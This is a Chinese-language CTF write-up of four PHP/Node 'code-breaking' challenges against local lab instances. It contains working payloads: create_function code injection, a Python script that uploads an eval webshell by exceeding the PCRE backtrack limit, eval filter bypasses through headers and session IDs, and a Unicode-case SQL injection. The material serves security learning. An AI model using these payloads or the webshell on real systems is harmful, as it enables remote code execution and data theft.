0x00前言
一直想把p神的code-breaking来好好做一遍,现在补上
0x01 function
阅读一下源码
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
代码首先检测了action
和arg
的参数是否为空,然后进行正则检测
i
:如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配。
s
: 如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。
D
: 如果这个修饰符被设置,模式中的元字符美元符号仅仅匹配目标字符串的末尾。如果这个修饰符 没有设置,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符)。 如果设置了修饰符m,这个修饰符被忽略. 在 perl 中没有与此修饰符等同的修饰符。
正则匹配所有字母和数字加上下划线,并且匹配了特殊字符比如\n
、\t
、\r
符号等,如果不符合匹配则执行将action
作为函数名字,将arg
作为执行的参数执行,因此我们只需要绕过正则的匹配。P神再小密圈里也说了
为什么函数前面可以加一个%5c?
php里默认命名空间是\,所有的原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个路径;而如果写了\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里面调用系统类,就必须写绝对路径这种写法。
因此我们可以写如下的系统命名,相对于文件名形式如foo.txt,它会被解析成为
currentdirectory/foo.txt
其中 currentdirectory 表示当前目录。因此如果当前目录是 /home/foo,则该文件名被解析为/home/foo/foo.txt。 相对路径名形式如subdirectory/foo.txt。它会被解析为 currentdirectory/subdirectory/foo.txt。 绝对路径名形式如/main/foo.txt。它会被解析为/main/foo.txt。
因此我们可以使用\来绕过正则的匹配,绕过之后使用函数create_function
来进行命令的构造,其结构为
create_function ( string $args , string $code ) : string
可以使用字符串来拼接,官网上的例子为
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
- 如果可控在第一个参数,则需要闭合圆括号和大括号:create_function('){}phpinfo();//','');
- 如果可控在第二个参数,则需要闭合大括号: create_function('','}phpinfo();//');
因此源码,构造payload
- http://127.0.0.1:8087/?action=\create_function&arg=christa;}var_dump(scandir('../'));/*
- http://127.0.0.1/?action=\create_function&arg=christa;}var_dump(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*
0x02 pcrewaf
源码如下
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
这是一道文件上传的问题,其主要的函数就是is_php
函数,其正则的规律为配对所有以<?
开头的字符,查找到之后匹配后面所有的内容并且忽略大小写,匹配特殊符号,如\n、\r等。这道题的解法在p神发的一篇关于PHP利用PCRE回溯次数限制绕过某些安全限制的文章,文章中提到当回溯次数在超过100万的时候正则返回false表示此次执行失败了,同时判断的执行也是判断是否正确,因此就能够绕过某些正则的判断。编写exp
import requests
from io import BytesIO
url = 'http://127.0.0.1:8088/'
def exp():
files = {
'file':BytesIO(b'<?php eval($_POST["christa"]);//'+b'A'*1000001)
}
cc = requests.post(url, files=files, allow_redirects=False)
path = cc.headers['Location']
urls = url + path
print(urls)
if __name__ == '__main__':
exp()
然后post扫描目录得到flag
0x03 phplimit
源码如下
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
题目非常简短,就是对执行的命令进行过滤,首先分析一下/[^\W]+\((?R)?\)
[^\W]
:表示匹配数字、字母、下划线;
((?R))?
: 重复整个模式,重复匹配括号的内容
总的来说就是将匹配到的命令替换为空,最后匹配到只有一个;
即为匹配成功,否则返回源码。当一个写入一个函数之后a()
能够匹配成功,但a(b,c)
则无法匹配成功,网上的绕过方法有很多。
getallheaders()
从发送的投中进行参数的解析,其使用方法为
?code=eval(end(getallheaders()));
header:christa:phpinfo();
get_defined_vars()
该函数返回由所有已定义变量所组成的数组,因此可以使用payload
http://127.0.0.1:8084/?code=eval(next(current(get_defined_vars())));&christa=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));
更有直接列目录的方法
http://127.0.0.1:8084/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
session_id()
该函数获取\设置当前会话id,能够将会话ID很方便地附加到URL之后,又因为PHPSEESID指允许字母和数字出现,因此可以使用payload为
http://127.0.0.1:8084/?code=eval(hex2bin(session_id(session_start())));
PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b
或
http://127.0.0.1:8084/?code=eval(base64_decode(session_id(session_start())));
PHPSESSID=cHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnLi4vZmxhZ19waHBieXA0c3MnKSk7
# print_r(file_get_contents('../flag_phpbyp4ss'));
0x04 nodechr
主要的代码为
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
上面的的代码可以看出很明显的sql注入,但是safeKeyword
又有着比较完善的过滤机制,过滤了union
、select
、;
和--
符号。从p师傅的博客中有一篇关于javascript的大小写特性,其中两个奇特的字符"ı"
、"ſ"
,我们可以用如下的两个命令进行测试"ſ".toUpperCase()
和"ı".toUpperCase()
可以看到这两个字符进行大写之后一个为S,一个为I,同时K
的小写也为k
>>"K".toLowerCase() == 'k'
true
因此可以构造payload
' unıon ſelect 1,(ſelect flag from flags),3 where '1' = '1
Reference